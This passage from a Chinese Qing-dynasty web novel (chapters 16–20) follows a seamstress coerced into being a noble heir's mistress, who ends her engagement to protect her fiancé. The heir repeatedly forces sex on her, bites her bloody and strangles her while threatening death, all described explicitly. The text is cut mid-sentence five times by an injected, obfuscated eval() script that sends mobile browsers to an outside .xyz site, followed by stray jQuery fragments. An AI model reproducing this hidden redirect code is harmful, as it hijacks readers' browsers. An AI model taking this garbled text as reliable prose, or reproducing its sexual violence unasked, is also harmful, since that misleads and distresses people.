张家那边只是先取消成亲仪式,那是因为张宗受伤成不了亲,而不是要退婚,因乌锦这几日衣不解带,废寝忘食地照顾张宗,两家人其实都默认他们已经是一对了,后续再挑个好日子再办婚宴就礼成了,成为真正的夫妻,怎么突然要退婚,程姨娘不解地看着乌锦,乌锦要退婚的话,为何前几日要上门去张家照顾张宗。
乌锦说他们不合适,这门亲事太匆促了一些,若别人说她落井下石,那便让别人说,反正这门亲事,她是一定要退的,越快越好。
完颜氏跟程氏对视一眼,不知道要怎么劝。
乌志善反而说道:“既然锦儿都决定好了,我们就听她的,退了就退了,张宗是个好孩子,只是临近成亲发生这种事,这是大不吉利,说明他们两的确不合适,许是两人八字不合才有血光之灾,到时候再重新找就是,我们家锦儿这么聪明,不愁找不到好夫家。”
乌志善想的是张宗被伤成这样,却找不到凶手,那一定是张宗或张家得罪什么了不得的人,他们家只是普通老百姓,得罪不起那些人,与其把女儿嫁过去吃苦,不如不嫁。
完颜氏都忍不住瞪一眼自家丈夫,这说的是什么话,都什么时候了,他还纵着女儿,说成亲就成亲,说退婚就退婚,这事是能闹着玩的嘛,本来自家女儿是高嫁,要退婚也应该是张家提,他们这个时候提退婚,那等于是得罪张家,两家人以后还往不往来了。
乌锦说她饿了。
完颜氏就先张罗着给她弄吃的,先不谈退婚的事。
16. 第16章
第16章
乌锦原本想尽快退婚,但她额娘说张宗毕竟还在养伤,这个时候退婚怕又会让张宗情绪波动导致养不好伤,退婚的事先缓一缓。
她便暂且不提退婚的事,但她也没有再去张家探望张宗。
就这样过了七天,乌锦白天在绣秀苑时算账时见到谢嬷嬷进来,她瞥了一眼一旁坐着无聊的彩玉,彩玉以为是来客人了,忙站起来露出笑脸迎客。
谢嬷嬷只是对着彩玉笑了笑,然后走近她,轻声道:“乌姑娘,世子明日午时过后会过来。”
乌锦明白这是让她明日过去那座宅子的意思,她说了一句她知道了,明日会过去,她问谢嬷嬷能不能安排一辆马车过来接她,毕竟从这里徒步走去外城那边太耗时。
“好,我明日让人过来接乌姑娘。”
乌锦跟谢嬷嬷约好时辰跟地点后,谢嬷嬷才离开。
彩玉凑到她身边,问道:“小姐,那是谁?你明日要去哪?她口中的世子是谁?小姐,你是不是有什么事瞒着我?你有事不能瞒着我,不然我以后再也不理你了。”
彩玉虽然年纪小,每日乐呵呵的,性子天真,但她不傻,她往后往那边跑少不了要彩玉帮她隐瞒周旋,她便对她简单说了说事情经过。
彩玉惊得瞪大眼睛:“小姐,那世子怎么能如此不讲理,他为何要强迫小姐当外室,难不成这天底下就没人能奈何得了他?”
“至少我们奈何不了他,他是世子,圣上的亲侄子,天潢贵胄,皇亲国戚,这事不要张扬,你知我知即可,不可对旁人说起,阿玛跟额娘那边,你得先替我瞒着,知道的人越少,麻烦也越少。”
乌锦想着等那人腻了,过了新鲜劲,也许就会放过她,男人大多喜新厌旧,她只需忍耐一段时日,见彩玉又担心她又有点害怕的样子,她还是安抚她两句,说船到桥头自然直,走一步看一步,不必过于忧虑。
翌日午时初,一辆马车停在街道最前头,乌锦过去问一句,晓得是来接她的,她很快上了马车。
真到那边后,那人还没过来,谢嬷嬷她们却张罗着给她梳洗,好似怕她不干净,要给她洗净等着主子过来检验,她如同货架上的货物,待价而沽。
乌锦知道她们也是做她们份内的事情,便没有多说什么跟她们反着来,顺着她们的意简单洗一洗,把她穿来的衣服换下。
洗净的她坐在床上等人过来,闲着无事,她打量起这间正屋。
这间正屋两旁有左右耳房,它分为内外间,中间用落地雕花木罩隔着,外间是堂屋,用来接客的,靠墙边有一大铺炕,上面有一红漆炕桌,桌上摆着一套茶具跟一些吃的零嘴瓜果,再过去一点是一方桌,附带四张椅子,里间便是一张拔步床,挂着绣锦幔帐,旁边设有红木几子,几上摆放着铜水盆跟痰盂,有一些箱柜跟靠右边放着。
除了家具,这里间也没有旁的内饰,显得很空很冷淡。
乌锦不知道等了多久,那人才姗姗而来,他依旧衣着光鲜,身上的锦缎泛着光泽,不见褶皱。
她从床上站起来给他屈膝行礼。
胤禛刚进来时瞧见乌锦,觉得今日的她恭顺不少,是一个能屈能伸,识相之人。
他坐在床上,示意她给他更衣。
乌锦过去站在他面前,开始给他更衣,解去衣襟的扣子。
胤禛将她困在自己的两条大腿中间,说道:“你这样慢悠悠的,得脱到什么时候,我可没有那么多时间陪你耗在这里,我以为你想清楚了。”
乌锦没回他的话,她没有故意拖延,就是他的扣子难解罢了。
胤禛将她放倒在床上,贴着她的脸,低下头吻住她的唇,柔软的唇让人想更进一步,他撬开她的嘴巴,吞没、汲取、啃咬,他使劲卷吸。
她的两颊也变得有些酡红,连呼吸都变得急促,他原本想脱去她的衣服,只是他不怎么了解女子衣裳的扣子在何处,半天解不开,他便命令她自己脱。
乌锦照做,抬手自己解开扣子。
“呵……”胤禛都不由
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878497|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻笑一声,上一次还是一副不愿屈从的样子,今日又十分乖顺,他的手抚了抚她光滑的右脸,避开她的左脸,说:“想明白就好,乖一点,你也能感受到乐趣。”
乌锦不想像上次那样痛,他仿佛要将她撕开,她看得出他今日心情不错,她盯着他的脸,轻声道:“还请世子爷轻一点。”
“你没资格跟我说这些,我想如何就如何。”
胤禛才不会怜惜她,他只管自己痛快,她哪有资格要求他怎么做。
乌锦听他这么说,干脆闭嘴,不想跟他说话。
事实上这人的确不会怜惜她,乌锦跟上一次一样只默默忍耐,盼着早点结束。
胤禛注意到她一直咬着自己的下唇,仿佛在忍痛,脸上的表情像是经历酷刑一般,他顿时沉脸,掐着她的脖子:“再露出这种表情,信不信我掐死你,你该欢欢喜喜地承受迎合才是。”
女子侍寝哪一个不是高高兴兴地承受,这是给她们的荣幸,他的那些福晋每回见到他都是十分雀跃的样子,她拉着一张脸给谁看,胤禛略显不满。
乌锦想翻白眼,但忍住了,她扯了扯嘴角,露出假笑。
胤禛看到她这样子,心情更不好了。
“别笑了,你笑得比哭还难看,你要记住你的本分,你不过是一外室,外室就是要以色侍人,懂得迎合男人。”
大白天的,外面的光亮得很,乌锦想装看不见都不行,他这副命令人的嘴脸让她心里作呕,她还是忍不住顶一句嘴:“我不懂这些,世子爷要是不喜欢,大可以去那些勾栏地找别人,我想那些人更懂得迎合世子爷,更讨世子爷的欢心,世子爷在我这恐怕要折趣了。”
“少说些让我不开心的话,你是嫌活得久是不是?”
乌锦见他隐隐要动怒,人在屋檐下不得不低头,她的确不想吃苦头,她主动攀着他肩膀,主动亲他,压住他未出口的话语。
到后面她有迎合他之意,他才没有真的动怒。
半个时辰后,他们才结束。
17. 第17章
第17章
胤禛回头,见乌锦青丝披散躺在床上,额前碎发稍显凌乱,双颊微微发红,他已经坐起来,也不见她有所动作,好似方才是他服侍她一场,他不由皱眉,冷声道:“你该服侍我穿衣了,你要跟谢嬷嬷学学伺候人的规矩。”
乌锦原本是想躺着等他自己离开,听到他的话,她不得不起来替他穿衣。
“靴子。”
他又命令道,乌锦下床弯腰给他穿好靴子,此时的她像足一个伺候主子的丫鬟。
胤禛穿戴好之后抬脚离开。
乌锦见人走后,默默松口气,这口气还没松完,谢嬷嬷便端着一碗备好的避子汤进来,她没有二话一口饮尽,没有在这座宅子过多停留,很快离开。
等乌锦回到铺子时,彩玉凑过来说午时末程姨娘过来给她们送午饭,她撒谎说她上门接活了,乌锦点点头,过会先洗把手坐下来吃饭。
她边吃边盘算着让阿玛他们过去张家退婚,过了这么多日,张宗应该好得差不多,此事不能再拖,万一那人发现她没退婚,又找麻烦怎么办,事已至此,她跟张宗已无可能。
吃着吃着,彩玉忽然碰了碰她手肘,示意她往前面看,她抬头一看,张宗不知何时走进来,身旁有两个随从跟在他左右,小心跟着他,生怕他摔倒,他刚伤愈,人看上去还是有点虚弱,瘦了一圈,走得很慢。
“你怎么过来了?”
张宗笑道:“你都不来看我,只能我过来看你了。”
乌锦心怀愧疚,起身帮忙搀着张宗,这里不是说话的地方,他们两个人单独到铺子后面说话,她也不瞒张宗,开门见山说过几日她请家人上门退婚,将聘礼归还。
张宗反而紧握着她的手:“桃子,不要退婚,我们重新挑个日子成亲,我不管那人是谁,我一定要娶你。”
乌锦看着张宗,心中只觉悲凉,为她,更多为张宗,是她将张宗拖入这泥潭中。
“张宗,我们得罪不起那人,是我对不起你,今生我们有缘无分,成亲就算了,我已经委身于他,你值得更好的女子。”
“是哪家世子?我不信这大清没有王法,我们上告,告到宗人府,告到圣上那边,我知道你是不得已的,我不介意,我真的不介意,乌锦,别退婚行不行?”
张宗抱住她,将她拥得紧紧的,语气带有一丝哀求。
乌锦心中一阵悲戚,她能感受到张宗对她的情意,只是她不能回报这份沉重的情意,那人不是良善之人,此次差点杀死张宗,一条人命对他而言无足轻重,他想杀就杀,无人会真正追谴他的罪责。
倘若她告诉张宗那人是谁,张宗非要跟那人过不去,得罪那人,死的人只会是张宗,可能还会波及张家,张宗还年轻,他有大好前程,没必要为了她毁了自己的锦绣人生。
“张宗,算了,那人尊贵万分,我们真的得罪不起,我们身后都有家人,我们不能不管不顾,以卵击石,我已是不洁之人,你没有必要为了我去得罪那人,无论是你还是我,乃至你阿玛,都得罪不起他,我们的婚事就算了,你好好过你的日子,我们以后不要再往来,是我对不起你。”
“乌锦,你不能给我希望,又让我失望,别退婚好不好?我可以去求简亲王,让他为我们做主,他不过是一世子,他大不过王爷,我不怕得罪世子。”
见张宗太过执拗,油盐不进,他刚死里逃生,难不成还要死里逃生一回吗?那人要是真发疯,不见得会放过张宗第二回,下次刺中的不会只是胸膛,有可能是划破喉咙。
乌锦眼眶泛红,从张宗怀里出来,决绝道:“张宗,别傻了,我既然委身于他,说明我们已无可能,你放手吧,别害得我们两家人都家破人亡,你不是只有你一个人,你还有家人,是我嫌贫爱富,攀权附贵,是我自己选了那人,没选你,我不觉得委屈,是我自己自愿的,跟别人无关。”
“你骗我,我知道你是被逼的。”
乌锦轻笑一声,眼神变得漠然:“张宗,没人逼我,我阿玛多年没有得到晋升,我跟了他,我阿玛能得到晋升,能当一个佐领或参领,我要过的是锦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878498|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣玉食的日子,我要让我家里人都过得好,这些只有那人能给我,你不能,你不过是一普通的骁骑校,你再晋升也不过像你阿玛那样当个三品武官,可那人是皇亲国戚,他是姓爱新觉罗的,我跟了他,我以后能当个福晋,我不是被逼的,我是自愿的,我本来就不喜欢你,我其实很久之前就跟那人在一起了,答应嫁给你不过是那人惹我生气,我报复他罢了,我要是喜欢你,也不会在三年前拒绝你,张宗,以后别来找我了,他是谁不要紧,你只需要知道他比你尊贵,能给我带来荣华富贵,你比不上他。”
“我不信,你告诉我那人是谁?”
“信不信由你,我没什么话可说的了,明日我便将聘礼退回去。”
乌锦转身不再理会张宗,任由张宗说什么,她都不再搭理,只让他离开,没必要纠缠。
最后张宗只能失魂落魄地离开。
乌锦当天回家后便让她额娘明日将聘礼归还给张家,她态度坚决,家里人也不好再劝解什么,点头应下。
聘礼还回去后,她跟张宗正式退婚,因不是什么太光彩的事情,两家人都低调处理,没有四处张扬,只有一些走得近的亲戚知情。
眨眼间到了五月初,春意正浓,草木新绿。
乌锦有一个多月没见到那人,她这段日子过得很平静,大部分时间都在刺绣,那人有家有室,她不过是他闲时打发时间的玩物,偶尔逗弄一二,哪有可能日日过来找她。
她在铺子里面描画时,谢嬷嬷进来,她以为是像上次那样明日再过去那座宅子,没想到谢嬷嬷说现在就得过去,世子在等她。
她只好让彩玉守着铺子,她跟谢嬷嬷出去,马车就停在她铺子附近,她们很快上了马车。
她跟谢嬷嬷也没什么好聊的,晓得谢嬷嬷她们是那人的人,说话谨慎,做事有分寸,她本就是见不得光的外室,讨好她们也改变不了什么,她依旧是外室,那人也不会放了她,于是她就没有费心思去讨好两个嬷嬷。
两个人就干坐在车厢里面,彼此沉默不言。
18. 第18章
第18章
乌锦进屋后就见到世子坐在铺炕上,她一进来,他就朝她投射过来凌厉的目光,抬手示意跟着进来的嬷嬷们出去。
乌锦还以为自己要先沐浴净身,结果他站起来攥住她的手,没等她说话,低头就是一个强势的吻,没给她说话的机会。
他脸色沉郁,越吻越凶,甚至带有啃咬,乌锦疼得直皱眉,还闻到铜锈味,应是舌头被咬破了,她忍不住推拒,然而这人没有停下。
“唔唔唔……世子爷……”乌锦使尽全力,终于得到喘息的机会,唇腔内满是血腥味,舌头被咬破,嘴角也被咬破,她心想这人又在发什么疯。
“闭嘴!谁允许你说话的!乖乖受着!”
乌锦被放倒在床上,他如泰山压顶般压制着她,衣服剥落后随之而来的是更加猛烈的攻势跟啃咬。
这哪是在行房,这完全是在咬人,乌锦疼得受不了,出声讨饶:“世子爷,你饶了我吧,好疼,我身上的肉没有你牙齿硬。”
结果这一求饶反而换来他的怒火,他突然掐住她的脖子,眼神狠厉,十分暴怒的样子:“我让你闭嘴!我不允许你说话,你就给我闭嘴!再说话,我就掐死你。”
“咳咳咳……”乌锦被猛得被掐,差点岔气,他不似在说笑,不惹怒发疯的人,她也只好闭嘴,不再开口说话。
这人的确在发疯,他身上仿佛有嗜血暴力因子,又是咬又是不顾一切地发泄,没有一点要怜惜的意思,她只能默默忍耐,不吭一声,紧闭双唇,只能在心里直骂人。
不知过了多久,一个时辰还是两个时辰,乌锦才从这场痛苦的情.事中听到他喊来人啊,她才松一口气,终于结束了。
谢嬷嬷跟瓜嬷嬷进来,她们瞥见床上的狼藉,怔一下忙低下头,跟主子爷说热水已经备好,主子爷起身过去隔壁耳房,谢嬷嬷随着过去服侍主子爷。
瓜嬷嬷则留下来伺候乌锦,只见乌姑娘躺在床榻上,身上血迹斑斑,青青紫紫,有许多被咬破的伤口,柔弱无力,双目无神地望着床顶。
瓜嬷嬷眼底有些震惊,她从来不知道主子爷在床上是这样的,这样谁承受得住,这完全是在施虐磋磨,主子的事,当奴才的哪敢多说,她到旁边拧了拧毛巾,给乌姑娘擦身,因乌姑娘身上看上去很可怖,下面还直接见红了,她动作不由放轻,眼神透着几分怜惜。
“有药膏吗?”乌姑娘开口问了一句。
瓜嬷嬷连忙说有,她忙走出房间去找药膏,拿药膏给乌姑娘涂抹。
过一会儿,主子爷也过来了,冷冷地说了一句他会让人升乌姑娘的阿玛为佐领,随即便离开。
乌锦全身上下都痛,这会还是白天,她抹完药膏后继续躺着,让自己缓一会,谢嬷嬷端来避子汤,她又坐起来喝完,含了一口橘子蜜饯在嘴里。
她是想明白了,这人养外室就是为了发泄,他心情不好就把她叫过来折腾,在床上有怪癖的一个人。
许是这种怪癖不想被人所知,于是想起来养外室。
“乌姑娘,你想不想吃点东西?”乌锦见瓜嬷嬷问她,她点点头。
瓜嬷嬷立即出去为她做吃的,乌锦在这间屋子里面吃过午膳后才离开,离开时手里拿了两瓶药膏,她脖子上有一些痕迹,她特意围了围巾遮住脖子上的痕迹。
她先回到铺子,彩玉连忙凑过来,问她有没有事,她摇头说没事,快天黑时,她跟彩玉回到家,她额娘见她围着围巾,问她是不是着凉了,让她小娘给她煮一碗姜汤。
她没有推拒,说她的确觉得冷,许是快要换季的缘故。
她额娘说她身子骨从小就弱,叮嘱她平日里多穿衣,絮絮叨叨的样子让乌锦心里很暖。
吃饭前,她乖乖喝了一碗姜汤。
夜里,彩玉跟她睡同一张床,在她脱掉外衣时见到她身上的伤口,吓得惊呼一声:“小姐,这……是那个人伤的小姐吗?”
“没事,不过是一些皮肉伤,过几日就能好了。”
彩玉吓得直落泪:“这哪是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878499|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没事的样子?小姐,世子怎么还伤人啊,我们要怎么办?”
怕额娘他们听到,乌锦示意彩玉小点声,说她没事,没怎么办,死不了人,她让彩玉帮她再涂抹一遍药膏,涂完后让彩玉歇息,别问那么多,她没有大碍。
夜深了,周围安静下来,乌锦反而睡不着,想到那人今日冷酷施虐的样子,她想这是第一次,但不会是最后一次,她是倒了八辈子霉才遇到他。
后半夜,她在诅咒那人的思绪中睡去。
过了三日,她阿玛从步军营那边回来,一回家脸上就溢着笑意,说他今日被升为镶蓝旗佐领了,她额娘跟小娘听着都有些惊讶,随即是欣喜,说她阿玛当了这么多年牛录,终于升为佐领了,尽管这佐领依旧是不大的武官,但好歹比普通牛录要好。
八旗兵入关后是每三百人编一牛录,也就是佐领,而五个牛录便是一个甲喇,即为参领,五个甲喇便组成一个固山,也就是所谓的旗,像她阿玛属镶蓝旗第三参领第十二佐领下的旗兵之一,一个普通的佐领底下就有几十到上百左右的兵,当然佐领不止一个,参领底下佐领的数目是不等。
普通佐领官职不高,手头上却有一点权力,至少可以支配底下的人。
乌锦没想到那人真的说到做到了,不知这算不算她伺候他的一点回报,这也说明那人权势很盛,可能不到一手遮天的地步,但对付他们这种普通人家足以,他仅用几日便能将她阿玛升为佐领,裕亲王世子可能只是动动嘴吩咐一句,底下便有人替他把事办周全。
就是这样的一个人,他们家拿什么跟他抵抗。
乌锦见到她阿玛额娘等人这般高兴,也不由感染上几分喜意,但内心也在隐隐担忧,万一她将那人得罪狠了,他们家还能有好日子过吗?
因她阿玛升官,她额娘跟小娘晚膳弄得很丰富,杀了一只鸡,还弄了红烧排骨,加上清蒸一条鲈鱼,有鱼有肉,一家人其乐融融吃一顿饭。
这是她退婚后,一家人吃得最开心的一顿饭。
19. 第19章
第19章
五月中旬,那些药膏十分管用,不到十天,乌锦身上的伤口好得差不多,淡化到只剩下一些淤青。
乌锦这阵子忙着刺绣,年初李夫人让她往一件对襟夹马褂上刺绣,说是要送给宫里的宜妃娘娘,为宜妃娘娘庆生,既然是娘娘,自然尊贵万分,轻视不得,她提前一个月绣好,准备拿去给李夫人过目,若有不足之处,也好回来重新调整。
她一大早过去简亲王府,李夫人身边的丫鬟冬雪已在王府侧门等着她,她随着冬雪进府,到了李夫人那屋后,恭恭敬敬给李夫人行礼。
李氏依旧是坐在铺炕上,慢条斯理端着茗碗喝一口茶,才让乌锦起身,示意秋菊给她赐坐。
乌锦坐在李夫人下侧的圆凳上,拿出她绣好的夹马褂给李夫人看。
李氏仔细端详,不得不说乌锦这绣工精湛,这夹马褂袖口内绣浅粉色球花,而褂面的素缎绣制大朵折枝绣球花,粉色花朵中夹着黄色花蕊,一团一团簇拥又不显拥挤,夹马褂开裾处的流云纹十分流畅,整个针法自然灵活,又细腻平滑地勾勒出绣球花的唯美与生动。
这绣工跟宫里的绣娘相差无几了,李氏真心称赞一句:“很好,绣得很好,你用心了,一定花了很多功夫,我想宜妃娘娘会喜欢的。”
见李夫人喜欢,乌锦也腼腆地笑了笑。
李氏放下那件夹马褂,看向乌锦,问道:“你前些日子不是要跟张参领的长子成亲嘛,我怎么听说两家退婚了,可是发生什么事了?”
乌锦没想到李氏会问这个,她怔愣一下才回道:“奴婢跟张大哥不合适,原先订婚就稍显匆促,退婚对我们都好,两个不合适的人凑在一起过一辈子才是折磨,不如当断则断。”
李氏觉得乌锦没说实话,她先前听说张参领的儿子受重伤,婚期往后延迟,结果没过多久就听说两家退亲了,哪家先提出退亲的,她就不得而知,毕竟不是什么好事,两家人都三缄其口。
乌锦只说不合适,李氏也不能撬开她嘴巴让她说实话,她转移了话题:“我听说你阿玛几日前升为佐领了,这可是好事。”
乌锦抬头笑道:“是,奴婢额娘她们知晓奴婢的阿玛升为佐领后,开心了好几日,许是因祸得福,奴婢还得感谢福晋的善举,将阿玛从牢里救出,福晋的大恩大德,奴婢一直谨记在心。”
李氏听着高兴,觉得乌锦会说话,没忘恩,她示意冬雪拿五两银子给乌锦当酬劳,这件夹马褂绣起来少说也要一个月。
乌锦连忙推脱,不肯收下银子,说她为福晋绣一件褂子是无足轻重的事,那是该做的事情,没有福晋,她阿玛可能还在牢里。
“收下吧,几两银子而已,你用这些丝线也是要花银子买的,耽搁你那么多天,一点辛苦费是应该的。”
乌锦跪下感谢:“那奴婢就谢谢福晋的赏了。”
“你这孩子,快起来吧,别跪来跪去,我这里有新鲜的桃子,是内务府那边送过来的,你拿些回去吃。”
“多谢福晋的赏赐。”
乌锦领了一筐桃子走出李夫人的院子,冬雪晓得她知道路,就没送到她大门口,她一个人往外走,半路她又遇到多兰格格在训斥府里的下人,怕被多兰格格见到她,她顿住脚步,绕去旁边的假山后面躲一躲。
“你在这里干什么?”
身后突然传到一道男声,乌锦回头,见是世子雅尔江阿,她连忙屈膝行礼。
“你躲在这里干什么?”
乌锦老实回道:“奴婢怕撞见多兰格格。”
雅尔江阿一听就明白了,他这个妹妹嚣张跋扈,她估计怕妹妹像上次那样刁难她,多兰训人的声音还隐隐约约传来,他瞥了一眼她提着那筐桃子,又问了一句:“你这桃子是送人的还是李夫人赏你的?”
“是李夫人赏给奴婢的。”
雅尔江阿知道内务府的人往王府送了不少新鲜的桃子过来,桃子是这个月的时令果子,李夫人肯定也分得不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878500|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少。
“你随我来吧,我带你从另外一边出去。”
乌锦微微诧异,连忙推拒道:“奴婢不敢劳烦世子爷。”
“我反正也要出府,你随我来吧,多兰刚被我阿玛骂了,一时半会气消不了,你在这里要等到何时。”
乌锦只好道谢,然后跟在世子跟他的随从后面,她虽然来过王府几回,但毕竟不是王府的人,从来不敢乱走,只认识一条路,比不上世子对王府熟悉,见世子七绕八绕,没一会儿就到大门口这边。
“多谢世子带奴婢出来,没什么事的话,奴婢先走了。”
雅尔江阿摆摆手,示意她可以走了。
乌锦转身离开。
不远处的张宗隐在街角正站着看着这一幕,他今日一早便偷偷跟着乌锦,跟了一路,一直跟到简亲王府这边,见到乌锦跟简亲王世子一同出来,他仿佛明白了什么。
乌锦口中的世子就是指简亲王世子吧,简亲王身为王爷,镶蓝旗旗主,位高权重,雅尔江阿身为世子,下一任旗主自然也贵不可言。
他晓得乌锦的姑父那边跟简亲王府沾点姻亲,乌锦认识雅尔江阿也无可厚非,许是上次乌锦的阿玛被下狱,她求到世子这边,被世子要求委身于他,这一切忽然都说得通了。
张宗攥紧拳头,用怨恨的目光盯着雅尔江阿。
乌锦并不知道张宗跟了她一早上,她从王府回到铺子这边,心情比较轻松,好在李夫人给了她五两银子,没让她白做工,不然她是倒贴银子接这份活,一般这种耗时久,要求精细的绣活,她是收十两银子左右的,毕竟那些丝线也不便宜,尤其有些要用到金线。
彩玉见到桃子,已经忍不住拿来削皮开吃了。
“小姐,特别甜,你也吃一块。”
乌锦拿一块放进嘴里,李夫人说是内务府那边分过来的桃子,内务府是专门负责给皇家管理大小事务的机构,给皇室中人送的东西就没有差的,她吃着也觉得甜。
20. 第20章
第20章
乌锦跟彩玉共吃了一个桃子,剩下的准备拿回家,她铺子里的绣娘过来给她交绣品,她跟绣娘商量着下一幅绣品的图案,一上午过去了。
晌午过后,程姨娘带着乌明过来给她送膳,见到那些桃子问是不是买的,她说是李夫人赏给她的,乌明好吃,马上嚷嚷着想吃桃子。
乌锦摸摸乌明的脑袋,笑道:“吃,让小娘给你削皮,你看你这小肚子,都吃成小胖子了。”
程姨娘拿削皮刀削皮,一边削一边说乌明上学的事情,乌明已经五岁了,到了上学的年纪,只是不知能不能入镶蓝旗官学读书。
到年纪的小孩到什么学堂念书基本上是由出身决定,京城的学堂主要分为国子监、宗学、觉罗学、八旗官学跟族学。
国子监入学资格比较严格,不仅仅要看家世,还要求其学生资质,家世好且出类拔萃者才能入学;宗学是只允许宗室子弟入读的学堂,归宗人府管辖,何谓宗室子弟,基本上是黄带子,姓爱新觉罗的人;相应的觉罗学是红带子,姓觉罗的人入读的学堂,而八旗官学是各旗子弟入读的学堂,族学便是自己家族请先生来教学的私塾,更多是同族之人,上不去官学的人只能选择族学。
像乌安现在入读的便是镶蓝旗官学,然而镶蓝旗官学也不是那么好进的,以佐领为单位,每佐领收取官学生两名,当初为了让乌安入读官学,他们一家人花了不少银子,给当时的几个佐领送礼才换来这么一个名额。
乌锦说阿玛如今成佐领,他手上也有入学名额,乌明入学应该不是问题。
“你阿玛刚升为佐领,怕是入学资格这方面还做不了主,听说今年旗内入学的人很多。”
程姨娘话语刚落,乌锦便瞥到谢嬷嬷走进铺子,她脸色一变,忙站起来说道:“嬷嬷,你来啦,你说的绣件,我还没绣好,还需几日。”
谢嬷嬷见有旁人在,顿时明了,顺着乌锦的话回道:“那个不着急,是我家主子又想请乌姑娘绣两件褂子,想请乌姑娘现在过去府里一趟,我家主子好跟乌姑娘说想要绣的式样。”
“现在吗?”
“是,我家主子比较急。”
乌锦用手帕擦擦嘴,跟程姨娘与彩玉说一声便随着谢嬷嬷走出铺子。
“谢谢嬷嬷替我掩护。”
“是我该做的,乌姑娘不必言谢。”
乌锦对着谢嬷嬷笑了笑,很快跟谢嬷嬷一起上了马车,去宅子的一路上,她忍不住有些担忧,怕那人像上次那样粗暴,害她满身是伤。
她那些伤口跟淤青才刚刚褪去,如今已经是五月的天,突然将自己围得结实肯定会引起她额娘他们的怀疑。
她盼着那人别再发疯。
到了宅子后,她被谢嬷嬷领着进了里屋,那人果然在等她,她先行礼,眼睛偷觑他的神色,他肃着一张脸,看不出心情如何。
嬷嬷出去后也把门顺带阖上,屋内只剩下他们两人。
“过来。”
乌锦听话地走过去,走到他面前。
胤禛从她一进来就注意到她脸上所有表情,他摸着她的右脸,似笑非笑:“怕我?”
“奴婢身上的伤刚刚痊愈。”
胤禛不觉得他上次伤她是他错了,她既然是外室,本就是卑贱的,他想待她如何就如何,他没有半点愧疚。
“才几天就痊愈了,说明上次你伤得不够重,所以别摆出一副我虐待你的样子,这副死人样给我收起来。”
乌锦是真想瞪他,如果眼神可以杀人的话,他估计都死几百回了,她恨不得吃他的肉啖他的血,但最后她还是露出笑脸,主动倚在他身上,故意嗲着嗓音撒娇道:“世子爷不是说每个月给我二十两银子吗?如今都过去两个月了,我一两银子都没见到。”
这女人的嗓音本来就柔,此时故意撒娇更是柔中带媚,明知她是装的,胤禛也顺势搂住她的腰,“想要银子,那也得等你伺候好我再说。”
乌锦心里暗暗翻白眼,不过也听出来他今日心情还行,不像上次那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878501|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样阴沉愤怒,她主动凑上去吻他,一只手攀着他的脖子,另一只手解他衣襟的铜镀金錾花扣子。
胤禛被她勾得动情,一把将她抱起朝着床边走去,不得不说这女人挺识相知趣的,还以为她是三贞九烈,性格拧巴的女子,但她其实是随机应变,顺水推舟的性子,在床上一点都不忸怩,没有半点害羞,这样的人在床上反而让他食髓知味,因为他可以想怎么样就怎么样,不用顾及她的感受,在她喊疼的时候,他不会停下来,只管自己舒爽。
“世子爷,别在奴婢脖子跟脸上留痕迹,奴婢不好解释。”
“我偏要留。”
乌锦红唇动了动,想说些什么又隐下。
胤禛故意在她白皙的脖子上流连许久,将她脖子嘬出红痕。
